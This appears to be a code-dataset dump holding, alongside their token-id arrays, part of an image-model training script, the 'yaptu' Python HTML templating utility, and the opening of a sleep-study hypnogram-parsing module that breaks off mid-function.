8382,
29922,
5574,
29892,
4078,
29918,
3198,
9748,
29922,
5574,
29892,
3461,
29918,
10492,
29922,
29896,
29945,
29900,
29892,
12489,
3377,
29918,
3972,
29922,
710,
29898,
20158,
3377,
29918,
3972,
29918,
2084,
511,
4078,
29918,
3972,
29922,
710,
29898,
4299,
29918,
3972,
29918,
2084,
876,
13,
1678,
396,
4299,
29889,
842,
29918,
16175,
29918,
2311,
29898,
29955,
29906,
29897,
13,
1678,
1904,
29889,
842,
29918,
16175,
29918,
2311,
29898,
29946,
29945,
29897,
13,
1678,
396,
4299,
29889,
842,
29918,
4537,
29918,
974,
29918,
28993,
29898,
29896,
29900,
29897,
13,
1678,
1904,
29889,
842,
29918,
4537,
29918,
974,
29918,
28993,
29898,
29896,
29900,
29900,
29897,
13,
1678,
1904,
29889,
842,
29918,
3027,
29918,
6229,
5580,
29898,
29946,
29896,
29947,
29892,
29871,
29906,
29947,
29941,
29892,
29871,
29941,
29897,
13,
1678,
1904,
29889,
842,
29918,
21476,
29918,
8346,
29898,
5574,
29897,
13,
13,
1678,
1904,
29889,
842,
29918,
1949,
29918,
276,
11476,
29918,
4905,
29879,
29898,
29896,
29897,
13,
1678,
1904,
29889,
842,
29918,
1688,
29918,
5451,
29898,
29900,
29889,
29900,
29897,
13,
1678,
1904,
29889,
842,
29918,
18157,
29918,
5451,
29898,
29900,
29889,
29900,
29897,
13,
1678,
1904,
29889,
842,
29918,
21891,
29918,
10492,
29898,
7411,
29898,
29212,
876,
13,
1678,
1904,
29889,
842,
29918,
7915,
29918,
11228,
3950,
877,
29916,
18852,
1495,
13,
1678,
1904,
29889,
842,
29918,
27525,
398,
29918,
26495,
29918,
1022,
2878,
29879,
29898,
524,
29898,
1022,
2878,
876,
13,
13,
1678,
396,
22333,
358,
362,
3987,
13,
1678,
1904,
29889,
842,
29918,
2987,
358,
362,
29918,
1182,
523,
2264,
29918,
392,
29918,
9996,
579,
29898,
5574,
29897,
13,
1678,
1904,
29889,
842,
29918,
2987,
358,
362,
29918,
29888,
3466,
29918,
22672,
29898,
5574,
29897,
13,
1678,
1904,
29889,
842,
29918,
2987,
358,
362,
29918,
29888,
3466,
29918,
18575,
29898,
5574,
29897,
13,
1678,
396,
4299,
29889,
842,
29918,
2987,
358,
362,
29918,
29883,
1336,
29898,
5574,
29897,
13,
268,
13,
1678,
396,
16012,
11073,
322,
4558,
13,
1678,
1904,
29889,
1359,
29918,
20787,
29918,
21134,
29918,
3166,
29918,
7638,
29898,
2492,
29918,
3972,
29914,
1643,
29918,
9144,
29892,
1178,
29918,
4914,
29922,
29900,
29897,
13,
1678,
1904,
29889,
1359,
29918,
8346,
29918,
2541,
29918,
4841,
29918,
3166,
29918,
12322,
29898,
2492,
29918,
3972,
29897,
13,
13,
1678,
396,
22402,
263,
1904,
11258,
13,
1678,
1904,
29889,
1202,
29918,
2080,
29918,
13148,
580,
13,
1678,
1904,
29889,
1202,
29918,
535,
4068,
284,
29918,
13148,
29898,
4572,
29918,
6229,
2673,
11759,
29945,
29892,
29871,
29945,
29892,
29871,
29941,
29892,
29871,
29941,
29906,
1402,
380,
2426,
29918,
2848,
29922,
29896,
29892,
26229,
29918,
2220,
2433,
13161,
29882,
1495,
13,
1678,
1904,
29889,
1202,
29918,
10109,
292,
29918,
13148,
29898,
17460,
29918,
2311,
29922,
29941,
29892,
380,
2426,
29918,
2848,
29922,
29906,
29897,
13,
1678,
1904,
29889,
1202,
29918,
535,
4068,
284,
29918,
13148,
29898,
4572,
29918,
6229,
2673,
11759,
29945,
29892,
29871,
29945,
29892,
29871,
29941,
29906,
29892,
29871,
29953,
29946,
1402,
380,
2426,
29918,
2848,
29922,
29896,
29892,
26229,
29918,
2220,
2433,
13161,
29882,
1495,
13,
1678,
1904,
29889,
1202,
29918,
10109,
292,
29918,
13148,
29898,
17460,
29918,
2311,
29922,
29941,
29892,
380,
2426,
29918,
2848,
29922,
29906,
29897,
13,
1678,
1904,
29889,
1202,
29918,
535,
4068,
284,
29918,
13148,
29898,
4572,
29918,
6229,
2673,
11759,
29941,
29892,
29871,
29941,
29892,
29871,
29953,
29946,
29892,
29871,
29953,
29946,
1402,
380,
2426,
29918,
2848,
29922,
29896,
29892,
26229,
29918,
2220,
2433,
13161,
29882,
1495,
13,
1678,
1904,
29889,
1202,
29918,
10109,
292,
29918,
13148,
29898,
17460,
29918,
2311,
29922,
29941,
29892,
380,
2426,
29918,
2848,
29922,
29906,
29897,
13,
1678,
1904,
29889,
1202,
29918,
535,
4068,
284,
29918,
13148,
29898,
4572,
29918,
6229,
2673,
11759,
29941,
29892,
29871,
29941,
29892,
29871,
29953,
29946,
29892,
29871,
29953,
29946,
1402,
380,
2426,
29918,
2848,
29922,
29896,
29892,
26229,
29918,
2220,
2433,
13161,
29882,
1495,
13,
1678,
1904,
29889,
1202,
29918,
10109,
292,
29918,
13148,
29898,
17460,
29918,
2311,
29922,
29941,
29892,
380,
2426,
29918,
2848,
29922,
29906,
29897,
13,
1678,
1904,
29889,
1202,
29918,
4905,
29918,
13148,
580,
13,
1678,
396,
14893,
6694,
278,
1904,
13,
1678,
1904,
29889,
463,
29918,
26495,
580,
13,
13,
361,
7431,
29898,
9675,
29889,
19218,
29897,
1360,
29953,
29901,
13,
1678,
7945,
10456,
9675,
29889,
19218,
29961,
29896,
29901,
2314,
13,
2870,
29901,
13,
1678,
1596,
877,
14968,
29918,
3972,
742,
525,
1643,
29918,
9144,
742,
525,
4299,
29918,
3972,
742,
525,
1022,
2878,
742,
525,
29212,
1495,
13,
2
] |
py/yaptu.py | karim7262/pytudes | 1 | 73737 | """Yet Another Python Templating Utility, Version 1.2, by <NAME>.
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52305
(Specialized to HTML and modified by <NAME>.)
Copies input to output, with some substitutions. There are three types
of substitutions: lexical, expression, and statement.
LEXICAL SUBSTITUTIONS:
& < >
These characters, if surrounded by whitespace, are replaced by
the corresonding HTML entities: &, <, >.
EXPRESSION SUBSTITUTIONS:
<<exp>>
Replace <<exp>> by eval(exp), where exp is a Python expression.
The most common use is when exp is just a variable name.
Example: <<green>>
Special case 1: If exp starts with '/', replace '/' by '_'.
Example: <</green>> becomes <<_green>
Special case 2: If exp evals to a callable, call it.
Example: <<random.random>> is the same as <<random.random()>>
Special case 3: If exp evals to None, replace it with ''.
Example: <<list.append(item)>> generates no text.
STATEMENT SUBSTITUTIONS:
All statement substitutions start with a #[ in column 1, and end with
a #] in column 1 of a subsequent line. Nesting is allowed, and
works like you would expect. There are two variants:
#[
stmts
#]
Any number of lines of Python stmts are executed.
The first line must be empty, except for the #[
#[ stmt-header:
lines
#]
The lines are interpreted as HTML with embedded expressions,
and are sent to output, once for each execution of stmt-header.
stmt-header is usually a for or if; This is hard to explain,
but easy to see with an example:
<table><tr><th> Number <th> Number squared
#[ for i in range(10):
<tr><td> <<i>> <td> <<i**2>>
#]
</table>
This produces one line of the table for each value of i in [0 .. 9].
If your compound statement has multiple stmt-headers, you use #| to
introduce the subsequent stmt-headers (such as else: or except:).
Another example:
#[ if time.localtime()[6] in [5, 6]:
Have a good weekend!
#| else:
Time for work.
#]
"""
import sys, re, os, os.path
class Copier:
"Smart-copier (YAPTU) class"
def copyblock(self, i=0, last=None):
"Main copy method: process lines [i,last) of block"
def repl(match, self=self):
"Replace the match with its value as a Python expression."
expr = self.preproc(match.group(1), 'eval')
if self.verbose: print '=== eval{%s}' % expr,
try:
val = eval(expr, self.globals)
except:
self.oops('eval', expr)
if callable(val): val = val()
if val == None: val = ''
if self.verbose: print '========>', val
return str(val)
block = self.globals['_bl']
if last is None: last = len(block)
while i < last:
line = block[i]
if line.startswith("#["): # a statement starts at line block[i]
# i is the last line to _not_ process
stmt = line[2:].strip()
j = i+1 # look for 'finish' from here onwards
nest = 1 # count nesting levels of statements
while j<last and not stmt.endswith("#]"):
line = block[j]
# first look for nested statements or 'finish' lines
if line.startswith("#]"): # found a statement-end
nest = nest - 1
if nest == 0: break # j is first line to _not_ process
elif line.startswith("#["): # found a nested statement
nest = nest + 1
elif nest == 1 and line.startswith("#|"):
# look for continuation only at this nesting
nestat = line[2:].strip()
stmt = '%s _cb(%s,%s)\n%s' % (stmt,i+1,j,nestat)
i=j # again, i is the last line to _not_ process
j = j+1
if stmt == '': ## A multi-line python suite
self.execute(''.join(block[i+1:j]))
i = j+1
else: ## The header of a for loop (etc.) is on this line
self.execute("%s _cb(%s,%s)" % (stmt,i+1,j))
i = j+1
else: # normal line, just copy with substitution
self.outf.write(self.regex.sub(repl,self.preproc(line,'copy')))
i = i+1
def __init__(self, globals):
"Create a Copier."
self.regex = re.compile("<<(.*?)>>")
self.globals = globals
self.globals['_cb'] = self.copyblock
self.outf = sys.stdout
self.verbose = 0
def execute(self, stmt):
stmt = self.preproc(stmt, 'exec') + '\n'
if self.verbose:
print "******* executing {%s} in %s" % (stmt, self.globals.keys())
try:
exec stmt in self.globals
except:
self.oops('exec', stmt)
def oops(self, why, what):
print 'Something went wrong in %sing {%s}' % (why, what)
print 'Globals:', self.globals.keys(), \
self.globals.get('SECTIONS', '???')
raise
def preproc(self, string, why, reg=re.compile(r"\s([<>&])\s"),
table={'&':' & ', '<':' < ', '>':' > '}):
# If it starts with '/', change to '_'
if why in ('exec', 'eval'):
string = string.strip()
if string[0] == '/':
string = '_' + string[1:]
return string
elif why == 'copy':
# Expand & < > into entitites if surrounded by whitespace
return reg.sub(lambda match: table[match.group(1)], string)
def copyfile(self, filename, ext="html"):
"Convert filename.* to filename.ext, where ext defaults to html."
global yaptu_filename
outname = re.sub('[.][a-zA-Z0-9]+?$', '', filename) + '.'+ext
print 'Transforming', filename, 'to', outname
self.globals['_bl'] = file(filename).readlines()
yaptu_filename = filename
self.outf = file(outname, 'w')
self.copyblock()
if __name__ == '__main__':
copier = Copier(globals())
for filename in sys.argv[1:]:
if filename == '-v':
copier.verbose = 1
else:
copier.copyfile(filename)
| [
1,
9995,
29979,
300,
7280,
5132,
6789,
572,
1218,
22310,
537,
29892,
10079,
29871,
29896,
29889,
29906,
29892,
491,
529,
5813,
15513,
13,
259,
1732,
597,
4692,
29876,
29889,
11236,
342,
403,
29889,
510,
29914,
3289,
15695,
29914,
19159,
2909,
29914,
11980,
29914,
1123,
24044,
29914,
29945,
29906,
29941,
29900,
29945,
13,
259,
313,
24780,
1891,
304,
4544,
322,
9120,
491,
529,
5813,
29958,
1846,
13,
13,
29907,
459,
583,
1881,
304,
1962,
29892,
411,
777,
23697,
29879,
29889,
1670,
526,
2211,
4072,
13,
974,
23697,
29879,
29901,
19566,
936,
29892,
4603,
29892,
322,
3229,
29889,
29871,
13,
13,
1307,
29990,
2965,
1964,
27092,
1254,
1806,
2692,
27946,
29901,
13,
13,
29987,
529,
1405,
13,
4706,
4525,
4890,
29892,
565,
22047,
491,
24358,
29892,
526,
8611,
491,
13,
4706,
278,
1034,
690,
898,
292,
4544,
16212,
29901,
669,
1160,
29936,
29892,
669,
1896,
29936,
29892,
669,
4141,
29936,
29889,
13,
13,
5746,
15094,
13507,
27092,
1254,
1806,
2692,
27946,
29901,
13,
13,
9314,
4548,
6778,
418,
13,
4706,
22108,
3532,
4548,
6778,
491,
19745,
29898,
4548,
511,
988,
1518,
338,
263,
5132,
4603,
29889,
13,
4706,
450,
1556,
3619,
671,
338,
746,
1518,
338,
925,
263,
2286,
1024,
29889,
13,
4706,
8741,
29901,
3532,
12692,
6778,
13,
4706,
12630,
1206,
29871,
29896,
29901,
960,
1518,
8665,
411,
8207,
742,
5191,
8207,
29915,
491,
22868,
4286,
13,
4706,
8741,
29901,
529,
829,
12692,
6778,
7415,
3532,
29918,
12692,
29958,
13,
4706,
12630,
1206,
29871,
29906,
29901,
960,
1518,
19745,
29879,
304,
263,
1246,
519,
29892,
1246,
372,
29889,
13,
4706,
8741,
29901,
3532,
8172,
29889,
8172,
6778,
338,
278,
1021,
408,
3532,
8172,
29889,
8172,
580,
6778,
13,
4706,
12630,
1206,
29871,
29941,
29901,
960,
1518,
19745,
29879,
304,
6213,
29892,
5191,
372,
411,
525,
4286,
13,
4706,
8741,
29901,
3532,
1761,
29889,
4397,
29898,
667,
29897,
6778,
16785,
694,
1426,
29889,
13,
13,
19713,
13780,
27092,
1254,
1806,
2692,
27946,
29901,
13,
13,
3596,
3229,
23697,
29879,
1369,
411,
263,
14330,
297,
1897,
29871,
29896,
29892,
322,
1095,
411,
13,
29874,
396,
29962,
297,
1897,
29871,
29896,
310,
263,
15352,
1196,
29889,
29871,
405,
342,
292,
338,
6068,
29892,
322,
13,
13129,
763,
366,
723,
2149,
29889,
1670,
526,
1023,
29161,
29901,
13,
13,
29937,
29961,
13,
303,
29885,
1372,
13,
29937,
29962,
13,
4706,
3139,
1353,
310,
3454,
310,
5132,
380,
29885,
1372,
526,
8283,
29889,
13,
4706,
450,
937,
1196,
1818,
367,
4069,
29892,
5174,
363,
278,
14330,
13,
13,
29937,
29961,
380,
4378,
29899,
6672,
29901,
13,
9012,
13,
29937,
29962,
13,
4706,
450,
3454,
526,
21551,
408,
4544,
411,
15685,
12241,
29892,
13,
4706,
322,
526,
2665,
304,
1962,
29892,
2748,
363,
1269,
8225,
310,
380,
4378,
29899,
6672,
29889,
13,
4706,
380,
4378,
29899,
6672,
338,
5491,
263,
363,
470,
565,
29936,
910,
338,
2898,
304,
5649,
29892,
29871,
13,
4706,
541,
4780,
304,
1074,
411,
385,
1342,
29901,
13,
13,
4706,
529,
2371,
5299,
509,
5299,
386,
29958,
9681,
529,
386,
29958,
9681,
10674,
1965,
13,
4706,
14330,
363,
474,
297,
3464,
29898,
29896,
29900,
1125,
13,
795,
529,
509,
5299,
1594,
29958,
3532,
29875,
6778,
529,
1594,
29958,
3532,
29875,
1068,
29906,
6778,
13,
4706,
396,
29962,
308,
13,
4706,
1533,
2371,
29958,
13,
308,
13,
4706,
910,
13880,
697,
1196,
310,
278,
1591,
363,
1269,
995,
310,
474,
297,
518,
29900,
6317,
29871,
29929,
1822,
13,
4706,
960,
596,
752,
618,
3229,
756,
2999,
380,
4378,
29899,
13662,
29892,
366,
671,
396,
29989,
304,
13,
4706,
14944,
278,
15352,
380,
4378,
29899,
13662,
313,
14565,
408,
1683,
29901,
470,
5174,
29901,
467,
29871,
13,
4706,
7280,
1342,
29901,
13,
13,
4706,
14330,
565,
931,
29889,
2997,
2230,
580,
29961,
29953,
29962,
297,
518,
29945,
29892,
29871,
29953,
5387,
29871,
13,
4706,
6975,
263,
1781,
4723,
355,
29991,
13,
4706,
396,
29989,
1683,
29901,
13,
4706,
5974,
363,
664,
29889,
13,
4706,
396,
29962,
13,
15945,
29908,
13,
13,
5215,
10876,
29892,
337,
29892,
2897,
29892,
2897,
29889,
2084,
13,
13,
1990,
10061,
631,
29901,
13,
1678,
376,
12636,
442,
29899,
9708,
631,
313,
29979,
3301,
29911,
29965,
29897,
770,
29908,
13,
13,
1678,
822,
3509,
1271,
29898,
1311,
29892,
474,
29922,
29900,
29892,
1833,
29922,
8516,
1125,
13,
4706,
376,
6330,
3509,
1158,
29901,
1889,
3454,
518,
29875,
29892,
4230,
29897,
310,
2908,
29908,
13,
13,
4706,
822,
337,
572,
29898,
4352,
29892,
1583,
29922,
1311,
1125,
13,
9651,
376,
20083,
278,
1993,
411,
967,
995,
408,
263,
5132,
4603,
1213,
13,
9651,
22010,
353,
1583,
29889,
1457,
15439,
29898,
4352,
29889,
2972,
29898,
29896,
511,
525,
14513,
1495,
13,
9651,
565,
1583,
29889,
369,
15828,
29901,
1596,
525,
25512,
19745,
18255,
29879,
10162,
1273,
22010,
29892,
13,
9651,
1018,
29901,
13,
18884,
659,
353,
19745,
29898,
13338,
29892,
1583,
29889,
23705,
1338,
29897,
13,
9651,
5174,
29901,
13,
18884,
1583,
29889,
29877,
3554,
877,
14513,
742,
22010,
29897,
13,
9651,
565,
1246,
519,
29898,
791,
1125,
659,
353,
659,
580,
13,
9651,
565,
659,
1275,
6213,
29901,
659,
353,
6629,
13,
9651,
565,
1583,
29889,
369,
15828,
29901,
1596,
525,
4936,
29958,
742,
659,
13,
9651,
736,
851,
29898,
791,
29897,
13,
13,
4706,
2908,
353,
1583,
29889,
23705,
1338,
1839,
29918,
2204,
2033,
13,
4706,
565,
1833,
338,
6213,
29901,
1833,
353,
7431,
29898,
1271,
29897,
13,
4706,
1550,
474,
529,
1833,
29901,
13,
9651,
1196,
353,
2908,
29961,
29875,
29962,
13,
9651,
565,
1196,
29889,
27382,
2541,
14822,
3366,
1125,
259,
396,
263,
3229,
8665,
472,
1196,
2908,
29961,
29875,
29962,
13,
18884,
396,
474,
338,
278,
1833,
1196,
304,
903,
1333,
29918,
1889,
13,
18884,
380,
4378,
353,
1196,
29961,
29906,
29901,
1822,
17010,
580,
13,
18884,
432,
353,
474,
29974,
29896,
259,
396,
1106,
363,
525,
4951,
728,
29915,
515,
1244,
373,
2935,
13,
18884,
17763,
353,
29871,
29896,
29871,
396,
2302,
17763,
292,
11174,
310,
9506,
13,
18884,
1550,
432,
29966,
4230,
322,
451,
380,
4378,
29889,
1975,
2541,
14822,
18017,
1125,
13,
462,
1678,
1196,
353,
2908,
29961,
29926,
29962,
13,
462,
1678,
396,
937,
1106,
363,
9322,
9506,
470,
525,
4951,
728,
29915,
3454,
13,
462,
1678,
565,
1196,
29889,
27382,
2541,
14822,
18017,
1125,
1678,
396,
1476,
263,
3229,
29899,
355,
13,
462,
4706,
17763,
353,
17763,
448,
29871,
29896,
418,
13,
462,
4706,
565,
17763,
1275,
29871,
29900,
29901,
2867,
29871,
396,
432,
338,
937,
1196,
304,
903,
1333,
29918,
1889,
13,
462,
1678,
25342,
1196,
29889,
27382,
2541,
14822,
3366,
1125,
259,
396,
1476,
263,
9322,
3229,
13,
462,
4706,
17763,
353,
17763,
718,
29871,
29896,
418,
13,
462,
1678,
25342,
17763,
1275,
29871,
29896,
322,
1196,
29889,
27382,
2541,
14822,
29989,
29908,
1125,
13,
462,
4706,
396,
1106,
363,
3133,
362,
871,
472,
445,
17763,
292,
13,
462,
4706,
17763,
271,
353,
1196,
29961,
29906,
29901,
1822,
17010,
580,
13,
462,
4706,
380,
4378,
353,
14210,
29879,
903,
10702,
29414,
29879,
24163,
29879,
2144,
29876,
29995,
29879,
29915,
1273,
313,
17868,
29892,
29875,
29974,
29896,
29892,
29926,
29892,
17510,
271,
29897,
13,
462,
4706,
474,
29922,
29926,
268,
396,
1449,
29892,
474,
338,
278,
1833,
1196,
304,
903,
1333,
29918,
1889,
13,
462,
1678,
432,
353,
432,
29974,
29896,
13,
18884,
565,
380,
4378,
1275,
525,
2396,
444,
319,
2473,
29899,
1220,
3017,
9460,
13,
462,
1678,
1583,
29889,
7978,
877,
4286,
7122,
29898,
1271,
29961,
29875,
29974,
29896,
29901,
29926,
12622,
13,
462,
1678,
474,
353,
432,
29974,
29896,
13,
18884,
1683,
29901,
29871,
444,
450,
4839,
310,
263,
363,
2425,
313,
7070,
1846,
338,
373,
445,
1196,
13,
462,
1678,
1583,
29889,
7978,
11702,
29879,
903,
10702,
29414,
29879,
24163,
29879,
5513,
1273,
313,
17868,
29892,
29875,
29974,
29896,
29892,
29926,
876,
13,
462,
1678,
474,
353,
432,
29974,
29896,
13,
9651,
1683,
29901,
539,
396,
4226,
1196,
29892,
925,
3509,
411,
23697,
13,
18884,
1583,
29889,
449,
29888,
29889,
3539,
29898,
1311,
29889,
13087,
29889,
1491,
29898,
276,
572,
29892,
1311,
29889,
1457,
15439,
29898,
1220,
5501,
8552,
29915,
4961,
13,
18884,
474,
353,
474,
29974,
29896,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
13149,
1338,
1125,
13,
4706,
376,
4391,
263,
10061,
631,
1213,
13,
4706,
1583,
29889,
13087,
259,
353,
337,
29889,
12198,
703,
9314,
28104,
7897,
6778,
1159,
13,
4706,
1583,
29889,
23705,
1338,
353,
13149,
1338,
13,
4706,
1583,
29889,
23705,
1338,
1839,
29918,
10702,
2033,
353,
1583,
29889,
8552,
1271,
13,
4706,
1583,
29889,
449,
29888,
353,
10876,
29889,
25393,
13,
4706,
1583,
29889,
369,
15828,
353,
29871,
29900,
13,
13,
1678,
822,
6222,
29898,
1311,
29892,
380,
4378,
1125,
13,
4706,
380,
4378,
353,
1583,
29889,
1457,
15439,
29898,
17868,
29892,
525,
4258,
1495,
718,
11297,
29876,
29915,
13,
4706,
565,
1583,
29889,
369,
15828,
29901,
29871,
13,
9651,
1596,
376,
2328,
17435,
14012,
18674,
29879,
29913,
297,
1273,
29879,
29908,
1273,
313,
17868,
29892,
1583,
29889,
23705,
1338,
29889,
8149,
3101,
13,
4706,
1018,
29901,
13,
9651,
2279,
380,
4378,
297,
1583,
29889,
23705,
1338,
13,
4706,
5174,
29901,
13,
9651,
1583,
29889,
29877,
3554,
877,
4258,
742,
380,
4378,
29897,
13,
13,
1678,
822,
288,
3554,
29898,
1311,
29892,
2020,
29892,
825,
1125,
13,
4706,
1596,
525,
16804,
3512,
2743,
297,
1273,
2976,
18674,
29879,
10162,
1273,
313,
14606,
29892,
825,
29897,
13,
4706,
1596,
525,
29954,
2127,
1338,
29901,
742,
1583,
29889,
23705,
1338,
29889,
8149,
3285,
320,
13,
9651,
1583,
29889,
23705,
1338,
29889,
657,
877,
1660,
9838,
29903,
742,
525,
28772,
1495,
13,
4706,
12020,
13,
13,
1678,
822,
758,
15439,
29898,
1311,
29892,
1347,
29892,
2020,
29892,
1072,
29922,
276,
29889,
12198,
29898,
29878,
26732,
29879,
4197,
29966,
19250,
29962,
2144,
29879,
4968,
29871,
13,
18884,
1591,
3790,
29915,
29987,
22099,
669,
1160,
29936,
13420,
12801,
22099,
669,
1896,
29936,
13420,
525,
29958,
22099,
669,
4141,
29936,
525,
29913,
1125,
13,
4706,
396,
960,
372,
8665,
411,
8207,
742,
1735,
304,
22868,
29915,
13,
4706,
565,
2020,
297,
6702,
4258,
742,
525,
14513,
29374,
13,
9651,
1347,
353,
1347,
29889,
17010,
580,
13,
9651,
565,
1347,
29961,
29900,
29962,
1275,
8207,
2396,
13,
18884,
1347,
353,
22868,
29915,
718,
1347,
29961,
29896,
17531,
13,
9651,
736,
1347,
13,
4706,
25342,
2020,
1275,
525,
8552,
2396,
13,
9651,
396,
12027,
392,
669,
529,
1405,
964,
875,
277,
3246,
565,
22047,
491,
24358,
13,
9651,
736,
1072,
29889,
1491,
29898,
2892,
1993,
29901,
1591,
29961,
4352,
29889,
2972,
29898,
29896,
29897,
1402,
1347,
29897,
13,
13,
1678,
822,
3509,
1445,
29898,
1311,
29892,
10422,
29892,
1294,
543,
1420,
29908,
1125,
13,
4706,
376,
18455,
10422,
5575,
304,
10422,
29889,
1062,
29892,
988,
1294,
21274,
304,
3472,
1213,
13,
4706,
5534,
343,
2156,
29884,
29918,
9507,
13,
4706,
714,
978,
353,
337,
29889,
1491,
877,
29961,
29889,
3816,
29874,
29899,
25265,
29899,
29999,
29900,
29899,
29929,
10062,
29973,
29938,
742,
15516,
10422,
29897,
718,
525,
6169,
29974,
1062,
13,
4706,
1596,
525,
13372,
292,
742,
10422,
29892,
525,
517,
742,
714,
978,
13,
4706,
1583,
29889,
23705,
1338,
1839,
29918,
2204,
2033,
353,
934,
29898,
9507,
467,
949,
9012,
580,
13,
4706,
343,
2156,
29884,
29918,
9507,
353,
10422,
13,
4706,
1583,
29889,
449,
29888,
353,
934,
29898,
449,
978,
29892,
525,
29893,
1495,
13,
4706,
1583,
29889,
8552,
1271,
580,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
5614,
631,
353,
10061,
631,
29898,
23705,
1338,
3101,
13,
1678,
363,
10422,
297,
10876,
29889,
19218,
29961,
29896,
29901,
5387,
13,
4706,
565,
10422,
1275,
17411,
29894,
2396,
13,
9651,
5614,
631,
29889,
369,
15828,
353,
29871,
29896,
13,
4706,
1683,
29901,
13,
9651,
5614,
631,
29889,
8552,
1445,
29898,
9507,
29897,
13,
2
] |
sleep_utils.py | skjerns/NT1-HRV | 1 | 30866 | <filename>sleep_utils.py
# -*- coding: utf-8 -*-
"""
Created on Thu Nov 21 20:19:26 2019
@author: skjerns
"""
from pyedflib.highlevel import *
import os
import gc
import warnings
import ospath #pip install https://github.com/skjerns/skjerns-utils
import numpy as np
import pyedflib #pip install https://github.com/skjerns/pyedflib/archive/custom_version.zip
import time
from tqdm import tqdm
from datetime import datetime
import dateparser
import logging
from joblib import Parallel, delayed
import matplotlib.pyplot as plt
from lspopt import spectrogram_lspopt
import matplotlib
def read_hypnogram(hypno_file, epochlen = 30, epochlen_infile=None, mode='auto', exp_seconds=None):
"""
reads a hypnogram file as created by VisBrain or as CSV type
:param hypno_file: a path to the hypnogram
:param epochlen: how many seconds per label in output
:param epochlen_infile: how many seconds per label in original file
:param mode: 'auto', 'time' or 'csv', see SleepDev/docs/hypnogram.md
:param exp_seconds: How many seconds does the matching recording have?
"""
assert str(type(epochlen)()) == '0'
assert epochlen_infile is None or str(type(epochlen_infile)()) == '0'
with open(hypno_file, 'r') as file:
content = file.read()
content = content.replace('\r', '') # remove windows style \r\n
#conversion dictionary
conv_dict = {'WAKE':0, 'WACH':0, 'WK':0, 'NWAKE': 0,
'N1': 1, 'NREM1': 1,
'N2': 2, 'NREM2': 2,
'N3': 3, 'NREM3': 3,
'N4':3, 'NREM4': 3,
'REM': 4,
0:0, 1:1, 2:2, 3:3, 4:4, -1:5, 5:5,
'ART': 5, 'A':5, 'ARTEFAKT':5, '8': 5,
'MT':5, 'BEWEGUNG':5, '9':5, '?': 5, ' ': 5, 'NAN': 5,
'UNSCORED': 5}
lines = content.split('\n')
if mode=='auto':
if lines[0].startswith('*'): # if there is a star, we assume it's the visbrain type
mode = 'visbrain'
elif lines[0].replace('-', '').isnumeric():
mode = 'csv'
elif lines[0].startswith('[HypnogramAASM]'):
mode = 'dreams'
elif lines[0].startswith(' Epoch Number ,Start Time ,Sleep Stage'):
mode = 'alice'
elif 'abstime' in lines[0]:
mode = 'dat'
elif lines[0].startswith('Signal ID:'):
mode = 'somnoscreen'
elif any(['luna-' in x for x in lines[:5]]):
mode = 'luna'
elif hypno_file.endswith('.eannot'):
mode = 'csv'
else :
mode==None
# reading file in format as used by <NAME>
# files with a datestamp per stage annotation
if mode=='dat':
if epochlen_infile is not None:
warnings.warn('epochlen_infile has been supplied, but hypnogram is'
'time based, will be ignored')
elif exp_seconds and not epochlen_infile:
epochlen_infile=exp_seconds//len(lines)
print('[INFO] Assuming csv annotations with one entry per {} seconds'.format(epochlen_infile))
stages = []
for line1, line2 in zip(lines[1:-1], lines[2:]):
if len(line1.strip())==0: continue # skip empty lines
if len(line2.strip())==0: continue # skip empty lines
curr_t, _, stage, *_ = line1.split('\t')
next_t,*_ = line2.split('\t')
curr_t = datetime.strptime(curr_t, '%Y-%m-%d %H:%M:%S')
next_t = datetime.strptime(next_t, '%Y-%m-%d %H:%M:%S')
assert next_t > curr_t, 'timestamp 2 is smaller than 1? {} < {}'.format(next_t, curr_t)
sec_diff = (next_t - curr_t).seconds
if exp_seconds and epochlen_infile!=sec_diff:
warnings.warn('Epochlen in file is {} but {} would be selected'.format(sec_diff, epochlen_infile))
stage = conv_dict[stage.upper()]
stages.extend([stage]*sec_diff)
elif mode=='somnoscreen':
if epochlen_infile is not None:
warnings.warn('epochlen_infile has been supplied, but information is in file, will be ignored')
epochlen_infile = int(lines[5].replace('Rate: ', '').replace('s',''))
stages = []
for line in lines[6:]:
if len(line.strip())==0: continue # skip empty lines
_,stage = line.split('; ')
stage = conv_dict[stage.upper()]
stages.extend([stage]*epochlen_infile)
# read hypnogram as written by visbrain (time based)
elif mode=='visbrain':
if epochlen_infile is not None:
warnings.warn('epochlen_infile has been supplied, but hypnogram is time based,'
'will be ignored')
stages = []
prev_t = 0
for line in lines:
if len(line.strip())==0: continue
if line[0] in '*#%/\\"\'': continue # this line seems to be a comment
s, t = line.split('\t')
t = float(t)
s = conv_dict[s.upper()]
l = int(np.round((t-prev_t))) # length of this stage
stages.extend([s]*l)
prev_t = t
# read hypnogram as simple CSV file, number based or string based
elif mode=='csv':
if exp_seconds and not epochlen_infile:
epochlen_infile=exp_seconds//len(lines)
print('[INFO] Assuming csv annotations with one entry per {} seconds'.format(epochlen_infile))
elif epochlen_infile is None:
if len(lines) < 2500: # we assume no recording is longer than 21 hours
epochlen_infile = 30
else:
epochlen_infile = 1
print('[INFO] Assuming csv annotations are per second')
lines = [conv_dict[l.upper()] if isinstance(l, str) else int(l) for l in lines if len(l)>0]
lines = [[line]*epochlen_infile for line in lines]
stages = np.array(lines).flatten()
# for the Dreams Database
# http://www.tcts.fpms.ac.be/~devuyst/Databases/DatabaseSubjects/
elif mode=='dreams':
epochlen_infile = 5
conv_dict = {-2:5,-1:5, 0:5, 1:3, 2:2, 3:1, 4:4, 5:0}
lines = [[int(line)] for line in lines[1:] if len(line)>0]
lines = [[line]*epochlen_infile for line in lines]
stages = np.array([conv_dict[l.upper()] for l in np.array(lines).flatten()])
# for hypnogram created with Alice 5 software
elif mode=='alice':
epochlen_infile = 30
lines = [line.split(',')[-1] for line in lines[1:] if len(line)>0]
lines = [[line]*epochlen_infile for line in lines]
try: stages = np.array([conv_dict[l] for l in np.array(lines).flatten()])
except KeyError as e:
print('Unknown sleep stage in file')
raise e
elif mode=='luna':
# hypnograms created by Luna software from sleepdata.org
if epochlen_infile is not None:
warnings.warn('epochlen_infile has been supplied, but information is in file, will be ignored')
import xml.etree.ElementTree as ET
root = ET.fromstringlist(lines)
# we don't actually properly parse it as it is intended, just
# assume that it always contains the same labels
instances = root[-1]
stages = []
for instance in instances:
